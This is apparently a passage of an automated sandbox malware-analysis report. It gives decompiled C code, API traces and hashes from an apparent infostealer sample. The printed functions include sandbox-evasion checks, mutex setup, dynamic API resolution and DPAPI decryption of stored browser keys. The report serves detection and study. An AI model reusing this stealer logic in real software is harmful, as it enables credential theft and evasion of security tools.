Opcode Fuzzy Hash: c3d17c969c6f5d40b9bec19e94f8e6930b579448806197f220aba69273c194c4
Instruction Fuzzy Hash: 183121B6D0010CBBCB14DF90DC85EDE77BCAB5C304F0445AAF609A7181EA74A798CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0040A620, Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 63
stringCOMMON

Download Yara Rule

C-Code - Quality: 62%

			E0040A620(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, signed int _a20, signed int _a24) {
				char _v268;
				char _v532;
				void* _t26;
				intOrPtr _t35;
				intOrPtr _t38;
				void* _t44;
				void* _t46;

				E0040B720( &_v532, 0x104);
				E0040B720( &_v268, 0x104);
				E0040B800( &_v268,  &_v532, 0x1a); // executed
				 *0x41aa24( &_v532, _a4);
				 *0x41aa24( &_v268,  &_v532);
				_t35 =  *0x41a210; // 0x677b28
				 *0x41aa24( &_v268, _t35);
				_t26 = E0040BB70( &_v268); // executed
				_t46 = _t44 + 0xc;
				if(_t26 != 0) {
					_t50 =  *0x41a83c;
					if( *0x41a83c == 0) {
						E00405420(_t35);
						 *0x41a83c = 1;
						_t38 =  *0x41a6a8; // 0x677c00
						E00407900(_t38, _t50, _t38);
						_t46 = _t46 + 4;
					}
					return E004096E0(0x41401a,  &_v532, _a8, _a12, _a16, _a20, _a24);
				}
				return _t26;
			}

0x0040a635
0x0040a646
0x0040a654
0x0040a667
0x0040a67b
0x0040a681
0x0040a68f
0x0040a69c
0x0040a6a1
0x0040a6a6
0x0040a6a8
0x0040a6af
0x0040a6b1
0x0040a6b6
0x0040a6c0
0x0040a6c7
0x0040a6cc
0x0040a6cc
0x00000000
0x0040a6f4
0x0040a6fa

APIs

Part of subcall function 0040B800: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,00000000,00000004,?,0040A426,?,0000001C,?,00000104), ref: 0040B824

lstrcat.KERNEL32(?,00000001), ref: 0040A667
lstrcat.KERNEL32(?,?), ref: 0040A67B
lstrcat.KERNEL32(?,00677B28), ref: 0040A68F

Part of subcall function 0040BB70: GetFileAttributesA.KERNEL32(?,?,?,0040A47F,?), ref: 0040BB7A

Part of subcall function 00405420: lstrcat.KERNEL32(?,006720F0), ref: 0040549C
Part of subcall function 00405420: lstrcat.KERNEL32(?,00674FE0), ref: 004054B0
Part of subcall function 00405420: lstrcat.KERNEL32(?,00676038), ref: 004054C4
Part of subcall function 00405420: lstrcat.KERNEL32(?,006720F0), ref: 004054D7
Part of subcall function 00405420: lstrcat.KERNEL32(?,00674FE0), ref: 004054EB
Part of subcall function 00405420: lstrcat.KERNEL32(?,00676008), ref: 004054FF
Part of subcall function 00405420: lstrcat.KERNEL32(?,006720F0), ref: 00405512
Part of subcall function 00405420: lstrcat.KERNEL32(?,00674FE0), ref: 00405526
Part of subcall function 00405420: lstrcat.KERNEL32(?,00676080), ref: 0040553A
Part of subcall function 00405420: lstrcat.KERNEL32(?,006720F0), ref: 0040554D
Part of subcall function 00405420: lstrcat.KERNEL32(?,00674FE0), ref: 00405561
Part of subcall function 00405420: lstrcat.KERNEL32(?,00676020), ref: 00405575
Part of subcall function 00405420: lstrcat.KERNEL32(?,006720F0), ref: 00405588
Part of subcall function 00405420: lstrcat.KERNEL32(?,00674FE0), ref: 0040559C

Part of subcall function 00407900: GetEnvironmentVariableA.KERNEL32(006756C8,0041B488,0000FFFF), ref: 0040792E
Part of subcall function 00407900: lstrcat.KERNEL32(?,0041B488), ref: 0040795D
Part of subcall function 00407900: lstrcat.KERNEL32(?,004191E8), ref: 0040796F
Part of subcall function 00407900: lstrcat.KERNEL32(?,00000000), ref: 00407980
Part of subcall function 00407900: SetEnvironmentVariableA.KERNEL32(006756C8,?), ref: 00407994
Part of subcall function 00407900: LoadLibraryA.KERNEL32(00675080), ref: 004079B2
Part of subcall function 00407900: GetProcAddress.KERNEL32(00000000,006780F8), ref: 004079D7
Part of subcall function 00407900: GetProcAddress.KERNEL32(00000000,00678080), ref: 004079F0
Part of subcall function 00407900: GetProcAddress.KERNEL32(00000000,006788F8), ref: 00407A08
Part of subcall function 00407900: GetProcAddress.KERNEL32(00000000,00678098), ref: 00407A20
Part of subcall function 00407900: GetProcAddress.KERNEL32(00000000,00678918), ref: 00407A39
Part of subcall function 00407900: GetProcAddress.KERNEL32(00000000,00677D38), ref: 00407A51

Strings

({g, xrefs: 0040A681

Memory Dump Source

Source File: 00000015.00000002.837379486.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.837419598.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_DDEE.jbxd

Similarity

API ID: lstrcat$AddressProc$EnvironmentVariable$AttributesFileFolderLibraryLoadPath
String ID: ({g
API String ID: 1979142406-3590494860
Opcode ID: ec102a16ae7aa44b0eb1a498b8ace9779465f52e0f4dab4409791bc745fd9444
Instruction ID: f28decca28addda6498ee9190a0ca9526165cf385ec8dc0d29a16be75cd48475
Opcode Fuzzy Hash: ec102a16ae7aa44b0eb1a498b8ace9779465f52e0f4dab4409791bc745fd9444
Instruction Fuzzy Hash: 1C2178B650010C6BCB10EF91DC85EEA3378AB58304F04456EF55993191EBB9E5E4CFAA

Uniqueness

Uniqueness Score: -1.00%

Function 00406B60, Relevance: 6.0, APIs: 4, Instructions: 49
threadsleepCOMMON

Download Yara Rule

C-Code - Quality: 79%

			_entry_() {
				void* _t5;
				void* _t8;
				void* _t9;
				void* _t10;
				void* _t16;

				E0040C290(_t16); // executed
				E00401770(); // executed
				E0040C2E0(); // executed
				E00401050(_t16, 0x3e8); // executed
				_t5 = E00406AA0(); // executed
				_t19 = _t5;
				if(_t5 != 0) {
					_t8 = E00406AF0(_t19); // executed
					if(_t8 == 0) {
						_t9 = E00406A10(); // executed
						if(_t9 != 0) {
							_t10 = E00406B30(); // executed
							_t22 = _t10;
							if(_t10 != 0) {
								E00401940(); // executed
								E0040C4A0(); // executed
								CreateThread(0, 0, E00401020, 0, 0, 0); // executed
								E004068F0(_t16, _t22);
								CreateThread(0, 0, E00406650, 0, 0, 0); // executed
							}
						}
					}
				}
				while(1 != 0) {
					if( *0x41abb4 == 0) {
						Sleep(0x3e7); // executed
						continue;
					}
					break;
				}
				E0040BFA0(_t16); // executed
				ExitProcess(0);
			}

0x00406b63
0x00406b68
0x00406b6d
0x00406b77
0x00406b7f
0x00406b84
0x00406b86
0x00406b88
0x00406b8f
0x00406b91
0x00406b98
0x00406b9a
0x00406b9f
0x00406ba1
0x00406ba3
0x00406ba8
0x00406bbc
0x00406bc2
0x00406bd6
0x00406bd6
0x00406ba1
0x00406b98
0x00406b8f
0x00406bdc
0x00406bec
0x00406bf5
0x00000000
0x00406bf5
0x00000000
0x00406bee
0x00406bfd
0x00406c04

APIs

Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(73B60000,00660D88), ref: 0040C332
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(73B60000,0065EC70), ref: 0040C34A
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(73B60000,0065A9E8), ref: 0040C362
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(73B60000,00660B48), ref: 0040C37B
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(73B60000,00660BD8), ref: 0040C393
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(73B60000,00660CE0), ref: 0040C3AB
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(73B60000,00660BF0), ref: 0040C3C4
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(73B60000,00660D28), ref: 0040C3DC
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(73B60000,0065AA08), ref: 0040C3F4
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(73B60000,0065AA28), ref: 0040C40D
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(73B60000,VirtualAllocExNuma), ref: 0040C423
Part of subcall function 0040C2E0: LoadLibraryA.KERNEL32(00660DD0,?,00406B72), ref: 0040C435
Part of subcall function 0040C2E0: LoadLibraryA.KERNEL32(00660BC0,?,00406B72), ref: 0040C447
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(73AE0000,00660C08), ref: 0040C468

Part of subcall function 00401050: GetCurrentProcess.KERNEL32(00000000,?,00003000,00000040,00000000,?,?,00406B7C,000003E8), ref: 0040106A
Part of subcall function 00401050: VirtualAllocExNuma.KERNEL32(00000000,?,?,00406B7C,000003E8), ref: 00401071
Part of subcall function 00401050: ExitProcess.KERNEL32 ref: 00401082

Part of subcall function 00406AA0: GetTickCount.KERNEL32 ref: 00406AA6
Part of subcall function 00406AA0: Sleep.KERNEL32(00002710,?,00406B84), ref: 00406AB4
Part of subcall function 00406AA0: GetTickCount.KERNEL32 ref: 00406ABA

Sleep.KERNEL32(000003E7), ref: 00406BF5

Part of subcall function 00406A10: GetUserDefaultLangID.KERNEL32 ref: 00406A1D

Part of subcall function 00406B30: CreateMutexA.KERNEL32(00000000,00000000,00674D60,?,00406B9F), ref: 00406B3D
Part of subcall function 00406B30: GetLastError.KERNEL32(?,00406B9F), ref: 00406B43

Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(73B60000,006779F0), ref: 0040C4BD
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(73B60000,00677948), ref: 0040C4D5
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(73B60000,00674F20), ref: 0040C4EE
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(73B60000,00677660), ref: 0040C506
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(73B60000,006777C8), ref: 0040C51E
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(73B60000,00677720), ref: 0040C537
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(73B60000,00677750), ref: 0040C54F
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(73B60000,00677768), ref: 0040C567
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(73B60000,00677798), ref: 0040C580
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(73B60000,006777B0), ref: 0040C598
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(73B60000,006777E0), ref: 0040C5B0
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(73B60000,00677930), ref: 0040C5C9
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(73B60000,00677858), ref: 0040C5E1
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(73B60000,006750A0), ref: 0040C5F9
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(73B60000,006777F8), ref: 0040C612
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(73B60000,00675060), ref: 0040C62A

CreateThread.KERNEL32(00000000,00000000,00401020,00000000,00000000,00000000), ref: 00406BBC

Part of subcall function 004068F0: GetSystemTime.KERNEL32(?,?,00000104), ref: 00406971
Part of subcall function 004068F0: lstrcat.KERNEL32(?,006750E0), ref: 00406985
Part of subcall function 004068F0: sscanf.NTDLL ref: 004069C3
Part of subcall function 004068F0: SystemTimeToFileTime.KERNEL32(?,00000000), ref: 004069D7
Part of subcall function 004068F0: SystemTimeToFileTime.KERNEL32(?,00000000), ref: 004069E8
Part of subcall function 004068F0: ExitProcess.KERNEL32 ref: 00406A02

CreateThread.KERNEL32(00000000,00000000,00406650,00000000,00000000,00000000), ref: 00406BD6
ExitProcess.KERNEL32 ref: 00406C04

Memory Dump Source

Source File: 00000015.00000002.837379486.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.837419598.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_DDEE.jbxd

Similarity

API ID: AddressProc$Time$Process$CreateExitSystem$CountFileLibraryLoadSleepThreadTick$AllocCurrentDefaultErrorLangLastMutexNumaUserVirtuallstrcatsscanf
String ID:
API String ID: 482147807-0
Opcode ID: a349654e72635f791abaff99105bb45aa78bda0ff43d1d0459ce1a65ca71d6f4
Instruction ID: 30edc539181f4161086e76151398ed8f709a9372c098ffe2502fb7c446d8bec9
Opcode Fuzzy Hash: a349654e72635f791abaff99105bb45aa78bda0ff43d1d0459ce1a65ca71d6f4
Instruction Fuzzy Hash: 2101FFB0385365AAE12037A25D17B5935685F00B49F12403BB603F81E2EEBDF460992F

Uniqueness

Uniqueness Score: -1.00%

Function 00406B30, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406B30() {
				CHAR* _t1;

				_t1 =  *0x41a124; // 0x674d60
				CreateMutexA(0, 0, _t1); // executed
				if(GetLastError() != 0xb7) {
					return 1;
				}
				return 0;
			}

0x00406b33
0x00406b3d
0x00406b4e
0x00000000
0x00406b54
0x00000000

APIs

CreateMutexA.KERNEL32(00000000,00000000,00674D60,?,00406B9F), ref: 00406B3D
GetLastError.KERNEL32(?,00406B9F), ref: 00406B43

Strings

`Mg, xrefs: 00406B33

Memory Dump Source

Source File: 00000015.00000002.837379486.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.837419598.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_DDEE.jbxd

Similarity

API ID: CreateErrorLastMutex
String ID: `Mg
API String ID: 1925916568-563599233
Opcode ID: 8b87618f3880a66b23dbcc435febca6ef014f7b8e04fe950b3c97caf62bd947d
Instruction ID: 327de0e026df715b7b38ea4147415e649a308c5b1f966a57182a2e21aaf30096
Opcode Fuzzy Hash: 8b87618f3880a66b23dbcc435febca6ef014f7b8e04fe950b3c97caf62bd947d
Instruction Fuzzy Hash: 93D012B0266205EBE7102794FC49BF637A99744701F214832F10EE61D2C669FCA0462F

Uniqueness

Uniqueness Score: -1.00%

Function 00407690, Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 92
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E00407690(CHAR* _a4, intOrPtr _a8, intOrPtr _a12) {
				char* _v8;
				char _v12;
				char _v16;
				char* _v20;
				char _v24;
				char _v28;
				char _v32;
				char _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				void* _t32;
				char* _t35;
				void* _t45;
				char* _t57;
				intOrPtr _t58;

				_v44 = 0;
				_t32 = E00407380(_a4,  &_v40,  &_v16); // executed
				if(_t32 != 0) {
					_t35 = E0040BB00(_v40, _v16); // executed
					_v8 = _t35;
					if(_v8 != 0) {
						_t57 =  *0x41a088; // 0x6781d0
						_v20 = StrStrA(_v8, _t57);
						if(_v20 != 0) {
							_v20 = _v20 + 0x10;
							_t58 =  *0x41a394; // 0x675808
							_v48 = E0040BA20(_v20, _t58);
							if(E00407470( &_v24, _v48,  &_v32,  &_v24) != 0 && _v24 >= 5) {
								asm("repe cmpsb");
								if(0 == 0) {
									_t45 = E00407510(_v32 + 5, _v24 - 5,  &_v28,  &_v12); // executed
									if(_t45 != 0 && _v12 == 0x20) {
										_v44 = 1;
										E004075E0(_v28, _a8, _a12); // executed
									}
								}
							}
						}
					}
				}
				return _v44;
			}

0x00407698
0x004076ab
0x004076b5
0x004076c3
0x004076cb
0x004076d2
0x004076d8
0x004076e9
0x004076f0
0x004076fc
0x004076ff
0x00407712
0x0040772b
0x00407742
0x00407744
0x0040775c
0x00407766
0x0040776e
0x00407781
0x00407786
0x00407766
0x00407744
0x0040772b
0x004076f0
0x004076d2
0x00407791

APIs

Part of subcall function 00407380: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,?,004076B0,00000000,?), ref: 004073A7
Part of subcall function 00407380: GetFileSizeEx.KERNEL32(000000FF,004076B0,?,004076B0,00000000,?), ref: 004073CC
Part of subcall function 00407380: LocalAlloc.KERNEL32(00000040,?,?,004076B0), ref: 004073EC
Part of subcall function 00407380: ReadFile.KERNEL32(000000FF,?,000000FF,?,00000000,?,004076B0), ref: 00407415
Part of subcall function 00407380: LocalFree.KERNEL32(?), ref: 0040744B
Part of subcall function 00407380: FindCloseChangeNotification.KERNEL32(000000FF,?,004076B0,00000000,?), ref: 00407455

Part of subcall function 0040BB00: LocalAlloc.KERNEL32(00000040,-00000001), ref: 0040BB22

StrStrA.SHLWAPI(00000000,006781D0), ref: 004076E3

Part of subcall function 00407470: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,&w@,00000000,00000000), ref: 0040749F
Part of subcall function 00407470: LocalAlloc.KERNEL32(00000040,?,?,00407726,?,?), ref: 004074B1
Part of subcall function 00407470: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,?,&w@,00000000,00000000), ref: 004074DA
Part of subcall function 00407470: LocalFree.KERNEL32(?,?,?,00407726,?,?), ref: 004074EF

Part of subcall function 00407510: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00407534
Part of subcall function 00407510: LocalAlloc.KERNEL32(00000040,00000000), ref: 00407553
Part of subcall function 00407510: LocalFree.KERNEL32(?), ref: 0040757F

Strings

DPAPI, xrefs: 00407738
, xrefs: 00407768

Memory Dump Source

Source File: 00000015.00000002.837379486.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.837419598.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_DDEE.jbxd

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$ChangeCloseCreateDataFindNotificationReadSizeUnprotect
String ID: $DPAPI
API String ID: 319386116-1819349886
Opcode ID: ab39210f1f30a146a8667208f0ce05bb118fbd5d0286aae0401707350fdae64b
Instruction ID: eb4e9db67b04358953b965a2fa42df4c86bf95490415688a64744a127192de17
Opcode Fuzzy Hash: ab39210f1f30a146a8667208f0ce05bb118fbd5d0286aae0401707350fdae64b
Instruction Fuzzy Hash: C5314876D04109ABCF04DBD9DC45AFFB7B8AF48304F14852AE904B3241E738B944CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00413640, Relevance: 4.6, APIs: 3, Instructions: 58
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00413640(void* __ecx, signed int _a4, long _a8, intOrPtr _a12, intOrPtr _a16) {
				intOrPtr _v8;
				intOrPtr* _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr* _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _t29;
				intOrPtr _t31;

				_t29 = E0040B590(__ecx, 0x4098); // executed
				_v16 = _t29;
				if(_v16 == 0) {
					_v32 = 0;
				} else {
					_v32 = E00411970(_v16, _a16);
				}
				_v8 = _v32;
				_t43 = _v8;
				_t31 = E00411B30(_v8, _a4, _a8, _a12); // executed
				 *0x41ac84 = _t31;
				if( *0x41ac84 == 0) {
					_v28 = E0040B590(_t43, 8);
					_v12 = _v28;
					 *_v12 = 2;
					 *((intOrPtr*)(_v12 + 4)) = _v8;
					return _v12;
				} else {
					_v24 = _v8;
					_v20 = _v24;
					if(_v20 == 0) {
						_v36 = 0;
					} else {
						_v36 = E00413700(_v20, 1);
					}
					return 0;
				}
			}

0x0041364b
0x00413653
0x0041365a
0x0041366d
0x0041365c
0x00413668
0x00413668
0x00413677
0x00413686
0x00413689
0x0041368e
0x0041369a
0x004136d2
0x004136d8
0x004136de
0x004136ea
0x00000000
0x0041369c
0x0041369f
0x004136a5
0x004136ac
0x004136bd
0x004136ae
0x004136b8
0x004136b8
0x00000000
0x004136c4

APIs

new[].LIBCMTD ref: 0041364B
codecvt.LIBCPMTD ref: 004136B3

Part of subcall function 00411970: new[].LIBCMTD ref: 00411A44

new[].LIBCMTD ref: 004136CA

Memory Dump Source

Source File: 00000015.00000002.837379486.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.837419598.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_DDEE.jbxd

Similarity

API ID: new[]$codecvt
String ID:
API String ID: 1685477457-0
Opcode ID: 4fb5e7223df1ffc74f02cc7ff2e8a26a515b854c79af19af007d8554b4ca0742
Instruction ID: a1b1ca698d1ad89a320e59bbb21285d2f772f5ee2dd8fda06eeaf7bcf1bfc66a
Opcode Fuzzy Hash: 4fb5e7223df1ffc74f02cc7ff2e8a26a515b854c79af19af007d8554b4ca0742
Instruction Fuzzy Hash: FA213BB4D00209EFDB04DF95D945BEEBBB0BF48304F10856AE515A7391E7786A80CF99

Uniqueness

Uniqueness Score: -1.00%

Function 0040B950, Relevance: 4.5, APIs: 3, Instructions: 25
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E0040B950(long _a4) {
				void* _v8;
				char _v276;

				_v8 = OpenProcess(0x410, 0, _a4);
				if(_v8 != 0) {
					 *0x41aa48(_v8, 0,  &_v276, 0x104); // executed
					CloseHandle(_v8);
				}
				return  &_v276;
			}

0x0040b96a
0x0040b971
0x0040b985
0x0040b98f
0x0040b98f
0x0040b99e

APIs

OpenProcess.KERNEL32(00000410,00000000,004067CA), ref: 0040B964
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 0040B985
CloseHandle.KERNEL32(00000000), ref: 0040B98F

Memory Dump Source

Source File: 00000015.00000002.837379486.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.837419598.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_DDEE.jbxd

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID:
API String ID: 3183270410-0
Opcode ID: 70d20dfb18789ddfae29ed4ac099d839ae255d9daaf31459ac3c69d60da774d7
Instruction ID: 4035e9000058296a7c7a5903da9dc5bd4091d8f519d6fc060cff408344c9d26b
Opcode Fuzzy Hash: 70d20dfb18789ddfae29ed4ac099d839ae255d9daaf31459ac3c69d60da774d7
Instruction Fuzzy Hash: DAF030B494130CFBDB15DB94DD4AFEA7778EB08700F1044A4FB15A7290D6B05A94CB95

Uniqueness

Uniqueness Score: -1.00%

Function 0040AC50, Relevance: 4.5, APIs: 3, Instructions: 23
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040AC50() {
				void* _v8;
				long _v12;
				int _t9;

				_v8 = RtlAllocateHeap(GetProcessHeap(), 0, 0x104);
				_v12 = 0x104;
				_t9 = GetComputerNameA(_v8,  &_v12); // executed
				if(_t9 != 0) {
					return _v8;
				}
				return 0x4191a0;
			}

0x0040ac6a
0x0040ac6d
0x0040ac7c
0x0040ac84
0x00000000
0x0040ac8f
0x00000000

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,00406B8D), ref: 0040AC5D
RtlAllocateHeap.NTDLL(00000000,?,00406B8D), ref: 0040AC64
GetComputerNameA.KERNEL32(00406B8D,00000104), ref: 0040AC7C

Memory Dump Source

Source File: 00000015.00000002.837379486.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.837419598.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_DDEE.jbxd

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: 84f9db92fad3da76f05b9e0e3be3efdf369b695c41f802971e80cd0f33aa4693
Instruction ID: 037935987c21b56ac9d2f6c82646566d18e4d0dbb1ca3967d9f30a297ca29eed
Opcode Fuzzy Hash: 84f9db92fad3da76f05b9e0e3be3efdf369b695c41f802971e80cd0f33aa4693
Instruction Fuzzy Hash: CDE012B4A05208BBE700DFE49A49ADD7BBCAB04301F104565E945E2280E6759E94D756

Uniqueness

Uniqueness Score: -1.00%

Function 00401050, Relevance: 4.5, APIs: 3, Instructions: 21
memoryCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E00401050(void* __ecx, intOrPtr _a4) {
				int _v8;
				int _t7;

				_v8 = 0;
				_t7 =  *0x41aa50(GetCurrentProcess(), 0, _a4, 0x3000, 0x40, 0, __ecx); // executed
				_v8 = _t7;
				if(_v8 == 0) {
					ExitProcess(0);
				}
				return _t7;
			}

0x00401054
0x00401071
0x00401077
0x0040107e
0x00401082
0x00401082
0x0040108b

APIs

GetCurrentProcess.KERNEL32(00000000,?,00003000,00000040,00000000,?,?,00406B7C,000003E8), ref: 0040106A
VirtualAllocExNuma.KERNEL32(00000000,?,?,00406B7C,000003E8), ref: 00401071
ExitProcess.KERNEL32 ref: 00401082

Memory Dump Source

Source File: 00000015.00000002.837379486.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.837419598.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_DDEE.jbxd

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: a7ae97adfdcf1c4e94bd862cfdc75439cc7b9fc2d70a57af4b78a5be23439a3a
Instruction ID: cf04ec476d4c872812d4618a66134526bca4da81b147f74e7f68079ffca38a05
Opcode Fuzzy Hash: a7ae97adfdcf1c4e94bd862cfdc75439cc7b9fc2d70a57af4b78a5be23439a3a
Instruction Fuzzy Hash: C4E08670586308FFEB109F90DD09B997BA8EB04712F108054FA09A72C0C6B45A50CA5E

Uniqueness

Uniqueness Score: -1.00%

Function 00401020, Relevance: 3.0, APIs: 2, Instructions: 15
sleepCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E00401020() {

				while(1 != 0) {
					if(E00401000() != 0) {
						ExitProcess(0);
					}
					Sleep(0x64); // executed
				}
				return 1;
			}

0x00401023
0x00401033
0x00401037
0x00401037
0x0040103f
0x0040103f
0x00401048

APIs

ExitProcess.KERNEL32 ref: 00401037
Sleep.KERNEL32(00000064), ref: 0040103F

Memory Dump Source

Source File: 00000015.00000002.837379486.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.837419598.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_DDEE.jbxd

Similarity

API ID: ExitProcessSleep
String ID:
API String ID: 911557368-0
Opcode ID: dfd6e110a5c43ac637a943826819f6ddc534df8c9cbce07f94cf57adda6fc397
Instruction ID: 1b7db58ca50fc4e91bd76126263a2bbaa1e68ad880045a45de6996aea228be6b
Opcode Fuzzy Hash: dfd6e110a5c43ac637a943826819f6ddc534df8c9cbce07f94cf57adda6fc397
Instruction Fuzzy Hash: C7D0127128534547F61433E55D06B66739C5B54785F004032BB41E5AE2DE7DD8E0C67F

Uniqueness

Uniqueness Score: -1.00%

Function 00470DF8, Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000400,?,?,00470223,?,?), ref: 00470E02
SetErrorMode.KERNEL32(00000000,?,?,00470223,?,?), ref: 00470E07

Memory Dump Source

Source File: 00000015.00000002.837529025.0000000000470000.00000040.00000001.sdmp, Offset: 00470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_470000_DDEE.jbxd

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: f2190b15e90cccbb2c0c7e03ec915bc59ecf917ce85cf27faf79bb6eb26347d2
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 7BD0123114512CB7D7002B94DC09BCE7B1C9F05B66F008011FB0DD9181C7B4994047E9

Uniqueness

Uniqueness Score: -1.00%

Function 0040B6A0, Relevance: 3.0, APIs: 2, Instructions: 10
memoryCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E0040B6A0(long _a4) {
				void* _t4;

				_t4 = RtlAllocateHeap(GetProcessHeap(), 8, _a4); // executed
				return _t4;
			}

0x0040b6b0
0x0040b6b7

APIs

GetProcessHeap.KERNEL32(00000008,00413650,?,0040B59D,00413650,?,?,00413650,00004098), ref: 0040B6A9
RtlAllocateHeap.NTDLL(00000000,?,0040B59D), ref: 0040B6B0

Memory Dump Source

Source File: 00000015.00000002.837379486.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.837419598.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_DDEE.jbxd

Similarity

API ID: Heap$AllocateProcess
String ID:
API String ID: 1357844191-0
Opcode ID: 91792353ec189b537f40c44ebd9c2449dbd42fd7f98193ad091825612838553d
Instruction ID: f01f5e1e7c2cbae4d5f0611841cbb3e049ae9411e28973528bbdb3b79d6c1229
Opcode Fuzzy Hash: 91792353ec189b537f40c44ebd9c2449dbd42fd7f98193ad091825612838553d
Instruction Fuzzy Hash: 62C09B75141308ABD6005BE8EE0DDD6375CFF4C641F008410B60DC6551CA75A450C766

Uniqueness

Uniqueness Score: -1.00%

Function 004126C0, Relevance: 1.6, APIs: 1, Instructions: 101
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004126C0(intOrPtr __ecx, intOrPtr _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _t85;
				void* _t120;

				_v20 = __ecx;
				if( *((intOrPtr*)(_v20 + 0x48)) == 0) {
					_t85 = E0040B590(__ecx, 0x6afa8); // executed
